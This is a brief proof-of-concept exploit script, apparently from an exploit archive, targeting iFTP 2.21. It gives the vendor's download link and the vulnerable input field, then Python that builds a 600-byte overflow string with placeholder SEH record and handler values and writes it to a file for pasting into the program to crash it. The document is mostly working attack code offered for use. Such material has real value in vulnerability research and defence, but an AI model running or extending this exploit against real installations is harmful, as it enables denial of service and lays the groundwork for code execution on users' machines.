i.FTP 2.21 SEH Overflow Crash PoC

# iFTP 2.21 SEH overwritten Crash PoC
# Author: Avinash Kumar Thapa "-Acid"
# Date of Testing :  28th April'2015
# Vendor's home page: http://www.memecode.com/iftp.php
# Software's Url: http://www.memecode.com/data/iftp-win32-v2.21.exe
# Crash Point: Go to Schedule > Schedule download > {+} >Time field
 
 
buffer = "A"*600
 
buffer += "BBBB" # Pointer to Next SEH Record
 
buffer += "CCCC" # SEH HANDLER
 
 
file = "test.txt"
 
f = open(file, "w")
 
f.write(buffer)
 
f.close()

#  0day.today [2018-02-06]  #